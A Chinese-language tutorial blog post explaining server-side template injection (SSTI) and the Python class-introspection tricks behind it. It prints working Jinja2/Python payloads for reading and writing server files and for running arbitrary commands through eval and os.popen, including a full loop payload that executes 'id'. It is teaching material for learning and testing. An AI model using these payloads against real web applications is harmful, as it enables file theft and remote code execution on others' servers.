一、什么是SSTI
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
现在网上提起的比较多的是Python的网站。
模板是什么
模板可以理解为一段固定好格式,等着你来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。作为对比,一个很不好的解决方法是用脚本语言的字符串拼接html,然后统一输出。
识别不同模板
SSTI
1.简单例子
$output=$twig->render("Hello {{name}}",array("name"=>$_GET["name"]));echo$output;
这个是比较简单的一个,对于现在的SSTI在后端处理的时候也会有许多的过滤。
总之,ssti就是这么个道理,就像sql注入中用id=-1’ union select database()可以拿到数据库一样
2、Flask(Jinja2) 服务端模板注入漏洞复现
环境还没搭建好,后续会补
四、关于SSTI的python类的知识
面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。
进行以下输入:
>>>''.__class__
<type'str'>>>>().__class__
<type'tuple'>>>>[].__class__
<type'list'>>>>{}.__class__
<type'dict'>
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
>>>().__class__.__bases__
(<type'object'>,)>>>''.__class__.__bases__
(<type'basestring'>,)>>>[].__class__.__bases__
(<type'object'>,)>>>{}.__class__.__bases__
(<type'object'>,)>>>[].__class__.__bases__[0]<type'object'>
__bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
可以直接用object.subclasses(),
获取基类还能用还有__mro__,比如:
>>>''.__class__.__mro__
(<class'str'>,<class'object'>)>>>[].__class__.__mro__
(<class'list'>,<class'object'>)>>>{}.__class__.__mro__
(<class'dict'>,<class'object'>)>>>().__class__.__mro__
(<class'tuple'>,<class'object'>)>>>().__class__.__mro__[1]//使用索引就能获取基类了
<class'object'>
在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类
五、一些常用的方法
//获取基本类
''.__class__.__mro__[1]{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0]object//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()object.__subclasses__()[40](r'C:\1.php').read()//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input','w').write('123')object.__subclasses__()[40]('/var/www/html/input','w').write('123')//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')
上面漏洞复现时候的payload也是很强了,用类于编程的方式来展现,不用再一个个去查索引了:
{%for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__ =='catch_warnings'%}{%for b in c.__init__.__globals__.values()%}{%if b.__class__ =={}.__class__ %}{%if'eval'in b.keys()%}{{ b['eval']('__import__("os").popen("id").read()')}}//poppen的参数就是要执行的命令
{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
有的时候还是需要绕过和沙箱逃逸才能实现SSTI的。
大佬博客:https://blog.csdn.net/zz_Caleb/article/details/96480967
版权归原作者 Lyyhun 所有, 如有侵权,请联系我们删除。